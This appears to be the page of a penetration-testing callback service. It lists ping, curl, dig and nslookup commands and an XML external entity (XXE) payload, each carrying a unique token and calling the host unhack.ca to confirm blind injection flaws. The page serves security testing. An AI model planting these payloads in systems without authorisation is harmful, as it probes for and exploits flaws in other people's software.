$ ping -c1 -p 0042e7c6175b3c9424398c12dc3aae00 unhack.ca
 
$ curl http://unhack.ca/p/42e7c6175b3c9424398c12dc3aae
 
$ dig 42e7c6175b3c9424398c12dc3aae @unhack.ca
 
$ dig 42e7c6175b3c9424398c12dc3aae.ns.unhack.ca
 
C:\> nslookup 42e7c6175b3c9424398c12dc3aae unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/42e7c6175b3c9424398c12dc3aae">]>
    <foo>&xxe;</foo>
Waiting for ping...